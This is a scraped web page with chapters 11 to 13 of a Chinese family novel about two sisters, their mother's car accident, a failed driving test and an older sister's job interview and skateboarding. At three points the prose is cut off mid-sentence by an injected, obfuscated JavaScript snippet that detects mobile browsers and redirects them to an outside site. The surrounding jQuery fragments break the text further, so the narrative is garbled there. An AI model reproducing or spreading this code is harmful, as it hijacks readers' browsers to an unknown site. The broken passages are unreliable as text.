映年同沈烟独处时,也担心潮水涌动,将她溺毙。她觉得自己冷血,又不吐不快:“你们的维护搞砸了我的工作。” 更早一点,更早一点就好了。 _ 城市穿行俱乐部的成员,坐在咖啡店里,桌上平放摆着两张城市地图。 淮寺在蝉市的开发地带,交通不太发达,被圈了三角形。另一个三角形,是螺市的最大枢纽站。 咚咚把拿着换了几个地图引擎,搜索出来的路线都包含高铁。她只能分站点来计算,来看公交车的行驶路径。 从鹊市到蝉市,一千多公里的距离,不用高铁飞机,交通工具不限摩托、自行车、地铁一类,避不可避的情况下再进行打车。 边体验旅游边前进,为保证安全,夜宿要在城市,随身行囊有带帐篷,也得在公园里搭建。 顺便以此契机,做做自媒体账号。 齐美玉的剃度仪式在七月十五日,要在那之前到达,时间还算充裕。 再环线绕行另一路线,回到鹊市。说要陪咚咚,昭岁自然也加入。 在群里提出这项计划后,一致得到俱乐部人员的羡慕,决定帮忙提前筹划。上午就在群里聊过。 黄柠檬:我要看店啊啊啊啊啊,我这个月薪水到手跑路,坐火车来追随你们。 咚咚:中途加入算作弊,开除! 咚咚:你就坐在收银台阴暗地给我点赞吧。 昭岁下午科目二考场模拟完毕,过来汇合,才在群里看到聊天。 两人和没事人一样,就她一个局外人还闷闷不乐。还是说,咚咚为了帮她维系关系,委曲求全?她不喜欢这样。 到达咖啡店时,俱乐部的人整整齐齐的。 当然也包括黄柠檬。当初是昭岁在俱乐部,聚餐时带着黄柠檬体验过公交车玩法,几次之后顺理成章地加入了俱乐部。黄柠檬对公交车的爱平平无奇,平局玩耍打车之类较多,加入纯粹是爱凑热闹。 现在黄柠檬在俱乐部人群中间,昭岁有些不自在。这人,不在店里上班,跑来干什么。 下午时,俱乐部成员把地图的路线安排的七七八八,找了好多条可行的线路,并且规划观光景点。纸面上都是可能性,还得到时候随机应变。 昭岁在看地图路线,她在偏移的路线指着蝉市旁的螺市,问:“能走这吗?” “这太偏啊,不太顺路。回来的时候可以计划。”黄柠檬说,“这也没什么景点啊?” “我朋友在这。”昭岁别扭。 “网友?” “不是。” 咚咚厌烦昭岁的这份欲言又止,摊牌:“大霜在这。” 黄柠檬恍然大悟“哦”了一声,颇有种意味深长。昭岁悄悄瞪了咚咚一眼,警告她别多嘴,对方笑盈盈地不接招。 想见大霜是其一,还有一个原因,刘海洋去世后也回螺市了。他死后,昭岁还没扫过墓。 黄柠檬说:“那回来可能要绕路了。” 咚咚说:“我没意见,能到就行。” 到饭点,一块又要去吃饭。咚咚感激成员们,说要请客,大伙谅解咚咚的经济情况,没舍得宰,一伙人去吃了麻辣烫。结账时,黄柠檬悄咪咪想抢着咚咚付,被咚咚察觉,拦了下来。 咚咚说:“不用,又不是什么大事。” 黄柠檬笑:“规划地图也不是什么大事。” 咚咚说:“那行,改天请把,这场合不合适。” 这次结账,主要是来表态,咚咚这么说,黄柠檬放下心来。她还是抱歉了声,道:“昨天我没转场了,想来给你道歉,昭岁不告诉我你家在哪。” “没事,”咚咚说,“不是什么事,你也不是故意的。” 回程的时候,昭岁一言不发。 “我是怪我。”昭岁说。 “我自己去的,我自己喝的酒,怪你什么?” “……” “没必要啊,之前和琴琴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016295|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹矛盾,到现在还在冷战,你当时和她到底怎么了?” “不一样的,和她是别的。” “没想过和好?” “……本来就没什么争执,”昭岁嗫嚅,“路不同而已。” “哪有路不同。”咚咚没继续问,也没劝昭岁,“你自己想好就行,我是真没关系。” _ 映年打开鞋柜,把板鞋取出来换上。 盯着板鞋站了一会儿,她再次打开鞋柜,取出了那双皮靴。 面试流程摸得很清了,对答很顺利。 出了教学楼,映年没离校,走去学生食堂。本能付现金的六食堂,权限改为刷卡了。 映年坐在用餐区等了一会儿,学生下课了。她提出请客的交易,带着透明耳棒的女孩答应得很爽快,帮她刷卡打一顿餐食。 她和女孩三人一块端着盘子坐下来。 落座时,映年才瞥见女孩用来占座的网球拍袋子,球拍放在包里,球杆露出来一截,能看见粉色的手胶。 就说她们到得这么早,气喘吁吁的,映年还以为是抢饭跑得快,看来是体育课结束。二中的体育特色,就是网球。 初中时,体育课有接触过网球,仅限于接触了,映年没放在心上。今年同岗的男孩攻擂上了第一名,总分差距到零点零一,映年下岸了。在面试班里打听,知道男孩的名字和社媒账号。 那段时间她太阴暗。难以置信分数,又去窥探第一名的社媒,突然发现对方是个网球爱好者。 网球啊…… 映年从小到大,一直是优等生,哪怕不是最佳,不至于让自己的成绩脱轨。她走火入魔般重拾起网球运动。 祁孝逑的安慰提醒,被她当作是不懂,实际是她不懂,她不太想懂。她不想承认自己输了,或者说别的可能情况,行动力错误的归在:打得更好的网球。这是她能够争取的。 压根没用的。 二中初中部的地理老师是今年退下来,多处这个名额,才招的编制。下次机会,不知道多久,要不就是合同工。 如果没有先前的经历,她能接受良好吧……也许也行吧?毕竟从前开得太旺盛,现在她似乎在凋零了,敢在花谢之前,保存好自己。 所以才来面试。 可来食堂是绝对错误,网球拍破坏了映年的食欲,连带着稍微安稳的心。她清楚这是暂时的。 暂时的。 也不好受。 六食堂的厨师变了,青椒口蘑又咸又辣,凉拌秋葵一股生酱油味,难以下咽。 坐在对面的女孩好奇:“初中部还是高中部?” “初中。” “噢,初几啊?” “没定。” “以前是哪个老师教你的呀?” “班主任是五角星老师,是不是退休了?” 五角星老师称呼来源于她的头像,是个带着五角星墨镜的自拍,她本人也尤其喜欢五角星图案的穿搭。老师在映年读书期间尤为照顾,让映年倍感温暖。映年偶尔在朋友圈刷到她的旅游照片,对五角星的热爱一如既往。 女孩惊喜,笑:“没,不过她没当班主任,教我们地理。” 映年没找老师的打算,碍不住女孩热情,吃完饭拉着她一块去了教学楼。两人没进去,就在门口,五角星老师的位置就靠在窗边。 人没在,女孩让映年等等。 真到这,映年害怕起来,害怕见到老师。高考毕业那年,组织过一场同学会,高中部和初中部就在一块,一并回二中探望老师。五角星听说了映年的专业,笑说后继有人,很是开心。 映年说:“算了吧,打扰老师。” 女孩还想劝,映年没留,离开了。 11. 第 11 章 来的时候,映年就约好了去速降。滑板和装备暂时放在保安处,出校门取了回来,抱着坐车往约定地点集合。 映年到时人基本齐了,登上车,往目的地出发。 都是从前一起玩的伙伴,见她一身西装打扮,调侃她这么久不出来,是去当精英人士了。映年扯出笑,心头烦躁。 到地还有一辆车,引擎盖上绑好了相机设备。 这坡缓,也不长,这次人多,有带新人,一块出发。 映年久不滑,中间出发位置。 带好护具,她捏了捏手,手套上滑块轻轻摩擦,有鼓胀感。 很熟悉的放松。 有人已经出发了,临走卷着风,映年突然笑了,扣上头盔的挡风。 躬身压腰,踩在板上的右脚稳住身形,左脚连续蹬地借力,踏上了板面。 路上尽是风吹树叶的痕迹,穿行着偶有烁烁的光透进来。飒飒风中,轮子碾过泊油路有粗粝的声响,似鼓声密集,似雷声响亮。 转弯时,稍稍蹲下身来,右手稳在路上,摩擦出一阵火花。 这瞬间彷佛回到了过去的某个时刻,宁静又与映年不期而遇,这种宁静蕴藏着冲动的热情。 待弯过去,再平平缓起,两手握在背后。 她轻微的震动中,感到舒缓的麻。越来越快,变本加厉的危机让她的情绪饱绽。 有人过弯失败,撞向护栏,她调整方向,绕过障碍。 一圈下来,到终点的人有一半。 映年还想冲,有车来了。一行人规整队伍,等结束离开前又来了两次。 映年依旧很稳。心情一直荡漾,回程路上,大伙约饭,她罕见应下来,一起去了炒菜馆。队伍里,映年算是这批人里的优秀玩家,坐在主位,自然点餐顾及映年的素食饮食,她吃得开心。 饭局结束,映年恋恋不舍,又说组织去酒吧喝点。于是浩浩荡荡走去酒吧,坐了一桌,开始玩棋盘游戏。 “还以为你不喜欢玩呢。”有个女孩说,她在队伍里的名称叫大脸猫,取名来自板的图案,实际本人是个瓜子脸小眼睛。 两人本就是小学同学,高中玩滑板重连上了,映年和她的关系最好。 大脸猫不止玩滑板,还玩球玩攀岩,都涉猎,技术属于中间,滑板比不上映年。之前听说映年打网球,说约着租个球场一块打,后来没这事就埋了。 “以前宿舍有宵禁。”映年说。 “翻墙进去呗。”大脸猫说。 “没试过。”映年笑,“你怎么不早点给我出主意?” “毕业快乐。”大脸猫去碰映年的杯。 “不快乐,”映年还是笑,带着苦涩,“活着就够了。” 大脸猫说:“什么墙不能翻,什么课不能逃,什么班不能翘?开心最爽。” 酒上脸,映年耳朵红润润的,她笑:“金科玉律,我每天就这样三省吾身。” 粉头发的乐队还在,他这场在做主唱,和台下互动,故意挑到映年让她点歌。映年不点,她想上台唱一首。速降队伍集体鼓掌,气氛到这,粉头发也让她上来。 她的外套早脱了,里头素色的衬衫露出来,头发被撩到脑后,拿起话筒的眼神自信又洒脱。 同居屋檐下,映年受到以歌的熏陶,至多也就是唱歌水准不错。歌曲是可以歌的首发摇滚曲,她在家听着这首歌诞生的。 舞台上不同台下,灯光聚焦,俯看下去,众生相昏暗模糊,能在一闪而过的光影中捕捉到随机的神情。跟唱的少,音量更多是随着节奏的鼓掌声。 以歌邀请她上台过,映年在彩排不忙时偶尔也参与其中。现在她登上台,有种万籁俱寂的爽感。 这种感觉,和每每张贴的成绩单一样,从上到下数下来,很快就能看到映年。她在故意坐在教室座位上,看着同学一拥而上去看成绩,在不经中听到有人说:“映年又考这么好!” 她嘴角不由自主弯起来,暗自得意。 旷日持久,所有的仰望都在她的身上。 曲终,大脸猫站起来带着速降队伍一起鼓掌。映年笑着下台,重新坐回位置,被队友左拥右抱,说她真棒。 大脸猫有给映年录视频,把文件发给了她。映年录屏了一小段,发了朋友圈,又特意发给以歌。 棋盘游戏也在继续。 映年脑子好,会算步数,赢了几局,就故意去输,输得很有技术,惹得大伙遗憾她的运气。 一场热闹后,到散场的时候,她和大伙商量约下一次。 回城不同路,映年打的拼车。 上车后,司机绕路,去接另一组乘客。映年靠在副驾驶的窗户玩手机,微信有条新消息,是五角星老师。 五角星老师:面试的事情帮不了你,要自己加油。 映年:谢谢老师,不是这样。 映年:就是想顺便看看老师。 消息发出去,一分钟后,五角星老师的电话期过来了。 问候的话说完,老师又赞美映年当年,最后说起:“你妈前段时间还来学校了,面试的事情,你心要放平。” 老师的语气严肃,似在劝映年迷途知返。 “怎么了?”映年问。 老师又不说这话题,只道:“虽然离婚了,读书那会儿,你妈还经常来学校,给你送点衣服吃食的之类,她也是为了你好。” 映年坐正身体,又靠在椅背上。初三时,祁孝逑和沈烟交往同居,映年申请住校。每周三雷打不动有做好的打包饭盒送来,老师都说是“映年妈妈”送的。 她还以为是祁孝逑做好,沈烟跑腿来送的。 原来是齐美裳。 映年有种满足感,原来齐美裳一直在。可立马警觉,老师最近看到的,也是齐美裳。 “我妈来做什么?”映年问。 老师叹一口气,又赞美映年成绩好,不用担心成绩的事情,没考上编压力大正常,但合同工的竞争没那么大的难度。 前面的路口是一条酒吧,正在堵车,计程车缓缓挪动。司机有群聊,语音一条条自动播放出来,在说前面有连环追尾事故。 路边有群人围着在看热闹。 老师最后补充:“我知道,你一直是个好学生的。” 这样点拨。 映年脸颊发烫,蒙羞的耻辱感升起。 _ 清单上的东西一项一项打叉。 咚咚在算价格和条目,核定后下单。 昭岁挂了电话,从阳台上走进来,去拿沙发上的包。 “我妈被撞了,我今天就不留宿了。” 齐美裳的手机遗落在车祸现场,捡到的护士用语音触发拨打了昭岁的电话。 “啊,情况严重吗?” “不清楚,我先过去。” “我跟你一块去。” 昭岁边说边给祁孝逑电话。 _ 车祸发生时,齐美裳所处车是在第三辆,她本来依旧刹住了,后头的第四辆车撵上来,被迫撞上了第二辆。冲击下,身体前倾,安全带勒住了她的肩膀。 处理事故,车被拖车带走了。事发地就在医院附近,检查出来天已经黑了。 在凉椅上坐了一会儿,她估摸着司机快到了,走出医院。 司机把车停靠在天桥下。 映年看见有人在挥手,路牌遮住,看不到脸。 人跑过来。 是齐美裳。 后车门打开,齐美裳坐在副驾驶后,她报了尾号,和映年招呼,映年应了一声。 此时一股酒味飘到后头,她皱眉。想开口说,又及时止住话。 齐美裳活跃气氛,同司机打趣应该就算一份钱,又问映年今天面试怎么样。 怎么样? 能怎么样? 凭映年自身水平,面试成功入职是没问题,可五角星老师一通电话过来,她一点想法没有了。 她说:“一般。” 齐美裳说:“不应该啊。” 映年沉默。 齐美裳说:“没关系。” 映年沉默片刻,又问:“你什么时候去的二中?” 齐美裳没觉得有什么:“上周。” 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016296|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在笔试成绩还刚出来的时候。 酒味上涌,刺刺烧喉。映年心烦,打开了窗户,风进来,吹散酒气,她稍稍清醒。 “你为什么这么做,是觉得我不行吗?” 齐美裳说:“我完全信任你。” “那你为什么这么做?” “你本来就有能力……”齐美裳卡了壳,她担心接下来“帮你更保险”这话让映年怒气更上一层,违心地说,“我不这样了。” 齐美裳思绪飘到去年映年来家里暂住的一晚。晚上起夜时,她从窗缝里,看到映年边苦边背书。早上五点刘海洋 起床时,齐美裳往日都要多睡会儿,她也跟着一块起来,又瞧见映年洗漱完毕要出门了。 不是她起床,映年就要不告而别了。 去解决音乐公司组长得到映年的冷脸,刚才车祸让齐美裳还没安宁,现在映年是一副兴师问罪的态势,齐美裳心头一股火在闹。可母女二人本就生分了,常年饱含的愧疚让她压住情绪。 映年还没答。 齐美裳继续说:“妈妈总归不会害你。” 她只听见前座的映年发出一声“哧”,辨不清是无奈还是不屑。 肩膀上的压伤又痛起来了。 话到这份上,映年便没再继续。 她疑惑:“你怎么没开车?” 齐美裳:“车送去保养了。” 她又问:“怎么这么晚?” 齐美裳:“帮同事顶班。” 映年还想说什么,觉得关心太多余,如同质问,不再开口。 以歌回了她的速降视频。 以歌:回头给妈看一眼。 以歌:她才说好久没看你玩了。 映年看着,一时之间不知道怎么回了。 她清楚,齐美裳坐在后头。 打字在键盘上有声音,她按着减号调到了静音,在输入框敲敲打打,又删掉。 最后,在库存的表情包发了一个中规中矩的黄豆比耶的表情。 司机群的语音依旧在播放,说着连环车祸后的路段情况。 齐美裳看映年这身行头,就有猜到去干什么了。她想看看映年的短视频号更新没,伸手去摸手机,没摸到。 _ 车停在小区门口。 二人并行着回家,没人说话。 祁孝逑坐在沙发上,茶几上摆着的是齐美裳的手机。这是接到昭岁电话去取回的手机。 大门打开,映年先一步进屋,齐美裳坐在换鞋凳上脱鞋。 听到动静,祁孝逑起身往玄关处探,便见迎面而来的映年。她怒气冲冲,抱着滑板回了卧室。 “没事吧?路人捡到的。”他把手机递出去,“电话的昭岁,她知道了。” “我说去哪了。”齐美裳接过手机,扭了扭胳膊,“急刹扯到胳膊了,就扭伤。” “开药没?” “包里的。” “我看看。”祁孝逑去翻齐美裳包,塑料袋子裹着外敷药,“就这个?” “又不是多大的事。”齐美裳不太放在心上。 _ 三轮车被拦在小区外面。 昭岁刷了门禁,领着咚咚回去。本是昭岁拉着咚咚在跑,没跑多远,就是咚咚拖着昭岁在跑。 坐在教室里缺乏锻炼,比不上咚咚的体能,再加上咚咚个高,手长脚长的。 刚才祁孝逑取到手机,护士说明过里齐美裳的情况,不是太严重。她还是心慌,气竭了,腿不停往前迈。 到电梯口,她撑着墙,在喘气。 齐美裳的消息发过来。 齐美裳:我没事。 昭岁稍稍心安,腰松下来,半蹲着,倚在墙上。 “吓死我了。” “没事就好,那我回去了?” “嗯,”昭岁喘着气,咳了两声,问,“快递三天能到吗?” “等你查完分再走?” 这话让昭岁一愣,她呐呐:“不用。” 咚咚一笑,眼神递过来,昭岁心虚避开。她面着墙,站起来,正面贴在墙上,不去看咚咚。 12. 第 12 章 柜子门打开。 齐美裳伸手去掏雨衣。她踮着脚尖使劲来回掏,没掏到。胳膊泛酸,她把换鞋凳拿来,踩在上头,视野平齐,没有雨衣的踪迹。 她又换了个柜子继续找。 屋门有钥匙扭动的声音,视线被柜门挡住了,低头能看见昭岁的下半身。 “不是在咚咚家睡吗?” “不是担心你吗?”昭岁站着把鞋脱下来,弯腰去开鞋柜,拿鞋放鞋,“没伤着吧?” “我看着像有事的吗?” “找什么呢?” “雨衣,明天可能下雨。”齐美裳踩下凳子,抬臂一瞬卡住,又换了只手关掉柜门,“那明天你自己去考场。” 昭岁留在咚咚家,不止是商量行程,还要拜托咚咚早上送她去考场。 齐美裳抬眉,突然想道:“你姐应该没事,可以用你爸的车过去。” “我早点起来就行了。”昭岁说。 “雨衣呢?我前两天还在用。”齐美裳疑惑。 昭岁心虚,下午刚拿给咚咚呢,还不清楚齐美裳同不同意她这次旅程。她说:“打伞嘛。” 齐美裳手抬起来还痛,打伞能用右手,可要是拎东西,对左手的伤还是负担。不过她也没再找,放弃了,只把折伞拿下来,备好明天出门。 昭岁想起另一件事:“我给你预约了明天脱毛,你记得去。” “这多麻烦。” “买一送一,你就当是送的。”昭岁说。 “你把这退了。” “不去就让它浪费。” _ 车停在小区门口。 映年坐在驾驶位置,看着昭岁从早餐店出来。 这早餐店的位置,从前是刘海洋经营的,哪怕刘海洋得病常居医院,齐美裳还是扛了一年,等到人真走了,才把店子转出去。门脸换了新的招牌,布局还是一样,和面的师傅是刘海洋收的徒弟。这事,映年搬家时听祁孝逑说的。 昭岁开门坐上副驾驶,她把牛奶拧开,寄给映年,过意不去:“耽误你了。” 早上昭岁起早出门,撞见映年洗漱,打了声招呼,排队在后头。映年问起她出门缘由,便说送她一程。 无业游民能有什么事。映年自嘲。 映年囫囵吞了一口糖包子,被里面的馅烫到,同时嗅到了猪油的味,想呕出来,直接吐在了打包袋里。 “猪油。”映年说。 “他换馅了,我爸之前用的都是山茶油来做的!”昭岁义愤填膺,为没有守好老味道而生气,“就该给你买馒头的,不过那也有红豆馅,不知道是不是换成猪油了。要不我给你买,我吃馅。” 没听到映年的回答,昭岁转头去看她,征求意见,在她淡漠的眼神中,才后知后觉自己刚才的称呼。 昭岁抿着唇别开脸,她默默盯着映年在挑导航路线的手,几条路线可以选择,指尖来回挑来挑去。 映年此前吃过刘海洋的糖包子,的确好吃,这口咬下去也带着些期待。 听着昭岁这般说,她没说话。 昭岁又说:“我去给你买个吧?” “不吃了,”映年选了个绕道的路,“今天限号。” 科目二的考场不在市区,车程一个小时。 这些天,两人独处的情况很少,眼下还是在无人干扰的车内。 昭岁靠在副驾驶上,一会儿调整安全,一会儿又去按按窗户,在想该聊点什么。 “我看你新买了个板?”昭岁说完,觉得不对,又立马补充,“妈妈打扫清洁的时候进你房间看见的,我在门外头。” “嗯。” “你昨天去滑板了吗?”昭岁出门时,留意了鞋柜,映年的那双翻毛皮的滑板鞋不在了。 “嗯。” “咚咚说她滑了两下,还挺好玩的。” “嗯。” 得到连续的三个“嗯”后,昭岁有种自讨没趣的疲惫感。是不是刚才提讲刘海洋惹得映年生气了?不至于吧,映年也主动提了。 她扣着手机壳,有意无意地去按动锁屏键,想打开手机玩,不太礼貌。 车辆行驶上了高速,映年瞥一眼身旁的昭岁,她缓和说:“你想玩吗?” “下次。”昭岁回答。 对话结束,车内只有导航的提醒声。 后视镜上挂着的平安福一晃一晃的,棱形的最中间是个小相框,里面放着的是十周年结婚纪念日去拍的全家福。 那会儿影楼还没给留底片,保存到现在的照片都黏在一起了,强行分开时后接触面一片白。唯独在这张大幅打印的全家福保存较好。不知何时,祁孝逑拿着旧照片去修复扫描,重新定制成了平安福。 起初祁孝逑说找到了全家福时,映年下意识以为说的是三岁那年的三人家庭照。这照片最初挂在客厅,映年天天能见到,直到后来四人合照出来,取代了中心的位置,这张三人家庭照就被放进了床底。 两张全家福都被姥姥保存起来,边缘稍有卷边泛黄,其余情况皆无。 就在映年自欺满足于“独享”时,才真实留意到相册右下角的日期。是昭岁出生前的七个月。 所有侥幸一瞬间被击溃。 怪不得啊…… 能高挂这么久,原来父母本就知道妹妹的来临。映年到小学前都是姥姥在带,等到小学时才真实回到父母身边,那会儿昭岁刚上幼儿园不久。 就在家附近的幼儿园。 映年手握着方向盘,心头满是怅然。映年清楚她有冒出“昭岁不如我优秀”的想法,她感觉到恶心。 ——为自己可憎的好胜心,为自己可怖的占有欲。 感情不是谁优秀谁争取。 何况,映年还在以歌面前,受着沈烟的爱护。要如此来看,以歌将怎么看待她? 让映年如此难受的,还有一点。 她手握着方向盘,手不自觉微微发抖:“昨天你不是要咚咚家睡吗?” “嗯……” 昭岁在想要不要将齐美裳车祸的事情告诉映年,还在思考,便听见她又说。 “不和你的小伙伴一块喝酒了?” “今天考完,拉着咚咚一块去,她们请客。” “还喝啊?” 昭岁听出这话里的阴阳怪气,不懂映年在嘲什么。 这嘲不止是对着昭岁,还又对自己。 她在昨晚从祁孝逑口中得知齐美裳刚车祸一场的情况,熬夜关注浏览了一整条车祸新闻,最严重的司机现在还躺在抢救室。 而在齐美裳劫后遇难的时刻,映年还斥责她一番。映年虽认为这立场道理正确,可时机实在太差。不该这样的。 那条路线,不是齐美裳的下班路,晚上齐美裳同祁孝逑在厨房的谈话也被映年听见:“昭岁喝酒回家太晚了,我不放心。” 映年明了了。 昭岁不满。 齐美裳管她便罢,现在映年也要来,这算什么?帮着齐美裳教训她吗? 她自认除了成绩一般,其他交友娱乐从未让家里操过心,喝酒也是在高考后开始的。 ——不能喝吗? 话到嘴边,又咽了下去。 可能是做姐姐的映年总是让步,昭岁小时候不懂,能心安理得的接受。长大些明白,她又为不懂事为映年愧疚,又或许是自卑作祟,对峙映年时,对方姿态凛然,昭岁就弱了,不比和齐美裳交锋那般凌厉。 “践行,她们赔罪嘛。” “你想想昨天去哪拿的手机。” “爸爸去拿的。” “你想想车祸在哪。” “在哪?她最会苦肉计了。”昭岁不客气地问出口,又猛然想起昨天的医院地址,她恍然,汗毛直立,“她想监视我。” 预料中的忏悔没有,映年没料到昭岁的反应。这算什么?映年忮忌不已。 雨点密密麻麻砸下来,她启动雨刷,暂时破开这雨幕,复而又反,只能在一片清明一片模糊中前行。 _ 科目二考场到地早,都在排队。手机放在箱柜里,昭岁拿着号牌坐在椅凳上,面前的大屏循环播放着汽车事故的案例。 昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016297|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁没想到齐美裳会想去酒吧抓她。映年滑板速降这么危险,齐美裳不会说半句,她只是喝点小酒,总是提起。 原来是映年的决定千般万般好,自己的选择还必须齐美裳过目才能施行。 “管束”是齐美裳对她的必修课。 规规矩矩踩刹车油门,上坡起步不差分毫停在四十厘米,转动方向盘去过s弯道,稳稳侧方停车起步,再倒车入库。 不能踩线,不能停止,时时刻刻被监控探头包裹,听候指令。 雨水让后视镜的折射稍稍偏移,方向盘转打了半圈,失去对车辆的掌控,s线时后轮踩住了白线。 昭岁拿着不合格的成绩出来。 齐美裳的电话几乎是掐着点过来的,昭岁握着的手机抖个不停,她没接,也没挂断。 雨还没停,她撑着伞往车站走,坐在矮凳上,警惕雨棚溅起的水。 电话每隔五分钟响一次,齐美裳的未接来电已经累积了十通,到后头,她发了条微信留言,让她出来后打电话。 昭岁:别打了,没考过。 消息刚回过去,齐美裳的电话又来了。 昭岁盯着,还是接通。 “怎么没考过?什么失误了?” “都没过。” “总得有个哪哪不对吧?后面多练练。” “哪都不对,就不该报这个月的名。” “早点考完好啊,七月好热的。” “还有事吗?” “不应该啊,怎么会,自动挡怎么科目二都能挂,你姐手动挡都是一杆过的。” 电话那头,齐美裳还在纳闷。昭岁没答,沉默半晌。 “脱毛让你姐去,行不?”齐美裳又问。 “随便。”昭岁气恼,挂断了电话。 _ 饭是黄柠檬约的,以践行的名义请咚咚和昭岁。昭岁本不想去,没耐住,还是前往了。 不止她们,上次一起在酒吧的姐妹都来了,又道歉了一次。咚咚接受良好,昭岁起初还板着脸,后来一顿下来,稍稍卸下来些。 黄柠檬这两天喜欢上了一个选秀团体,最近看得上头,连吃饭时,手机后台也挂着直播,来充当数据。 一个朋友在昭岁耳边讲:“那谁给黄柠檬表白了。”那谁是黄柠檬在粉头发之前的兴趣对象。 昭岁对这方面不感兴趣,她特别不理解黄柠檬的精力寄托。但她想到了齐美裳的复婚,于是她问:“她怎么说?” “如果表白我接受,如果恋爱我拒绝。”朋友咋舌,“那阵子把人撩得不行,整这出。” 朋友的表情让昭岁记在心头。 咚咚要去出摊,早先离开了,再玩了会儿,她们坐车回去。 昭岁问黄柠檬:“为什么?” “闭合性关系对我来说才是挑战吧?”黄柠檬说,“关系不重要,感受最重要,我喜欢不是他,是他爱我这件行为。” “你这不是谬论?” “你不也没打算恋爱吗?” “我不一样。” “有什么不一样?”黄柠檬成了生气的那个。 昭岁盯着她的眼睛,对视片刻,突然笑了,她说:“谢谢。” “有什么好谢的。”黄柠檬摇着头晃荡,明明在不停地给直播刷点赞,“她们知道了也会和我一样,咚咚、你姐……你妈妈,可能难点吧。” 昭岁心下一动,摸着手机,发消息给咚咚。 昭岁:叫上我姐吧,一块出发。 咚咚没回消息,估计在忙。 “你爸是不是今天不在家?”黄柠檬又问。 “干什么?” “我今天要去你家玩。”黄柠檬得寸进尺。 “不要。” “就要。” “不要。” “又不是一块睡。” 昭岁递给她一个白眼:“你真烦。” 这话是松口了。 上电梯时,昭岁又问出了:“为什么我妈要复婚呢?” 黄柠檬说:“为什么你不自己问问阿姨呢?” 13. 第 13 章 母女俩吵架的拉锯战,是在刘海洋确诊患癌时开启的。 齐美裳在把病历单抓在手里,病名念得字正腔圆,声音忽高忽低地重复,最后折起来放在包里,身子倚在座椅上,轻轻问:“怎么会呢?” 怎么会这么早? 昭岁对这年龄敏感起来,明明现在刘海洋还不到五十呢。可转念一想,大霜在爷爷葬礼时,说过能吃“二十年的药”,也没那么容易死翘翘。 正发呆之际,齐美裳扯着昭岁起来,拉着她往楼梯处走。昭岁以为齐美裳要同她说悄悄话,不是,她瞥见一个乞行者拿着贴上二维码的pvc板在每个座位上停留。 两人站在通风的楼梯□□谈。 齐美裳说:“今天晚上哪都别去,刘家人要过来看。” “老师让补课……”监护室又进不去,昭岁留着也没用,齐美裳突然瞪目而视,让昭岁哑了声,“好吧。” 不情不愿的答应没让齐美裳满意,她直接撕碎了昭岁暗藏的小心思:“都什么时候还要去坐那个公交车?” 昭岁说:“那是提前约好的。” “你爸都快断气了,还想着玩。”齐美裳纯粹夸大其词。 昭岁想起今天刘家人过来的种种,她呛:“他不是我爸。”说完,马上觉得话说得不对,可收回口又失了气势,于是硬撑着盯着齐美裳。 有人走楼梯来,见伫立的母女二人,分分侧目。 齐美裳可能是面子挂不住,面色缓和道:“你手机呢?” “怎么?”昭岁还在警惕。 “我给你姥姥打个电话,说今天不去看她了。”齐美裳说,“或者你打也行。” 昭岁不喜欢和大姥姥通话,摸出手机解锁,递给了齐美裳。没料到齐美裳并未拨打电话,直接打开手包放进去了。 “妈!”昭岁大喊。 齐美裳给出筹码条件:“这几天手机放我这,表现好了还你。学校有事找班主任电话我。” 她只说:“如果教训我会让你现在舒服点,那我接受。” “现在爸爸生病了,妈妈又得看店还得上班,你听话点,知道不?”齐美裳见熄火,柔声搓着昭岁的手,“这风口,进去吧。” 昭岁转头不看她,怒火中烧,无处燃放,只能深吸一口气,闷闷“嗯”一声。 这遗传病比大霜说的艰难困苦许多。 刘海洋有过好转,恢复了照常的生活,可到了冬天,突然就垮下来,迅猛急促,让人无所适从。 “吃二十年的药”变成了“日常出现病危通知书”,刘海洋的身体随着天气一样,日渐孱弱,与之相对的,是齐美裳渐长的脾气。 这也不怪齐美裳。她要工作,要顾早餐店还要往医院跑。 昭岁想着分担些,去找老师请假早修和晚修,帮忙齐美裳。这份帮助,在齐美裳看来是昭岁为旷课而找的借口。 二人又在医院楼梯间吵了一架。 “我花钱供你读书,不是让你请假的,更不是让你翘课去做什么破公交。还参加什么活动?我把群给你退了。” 昭岁心惊,近日上传的视频是暑假拍摄的,由俱乐部成员剪辑后发给昭岁源文件,再由昭岁上传,摸出手机想点开确认,一把被齐美裳夺过。 “你现在最主要的是学习,不是炸油条,也不是送饭,更不是当医院陪护。”齐美裳面色缓和下来。 昭岁低头刚靠在墙上,又被齐美裳扯着肩膀衣服往前拽。 “那墙灰多脏!还嫌我事不够多?” 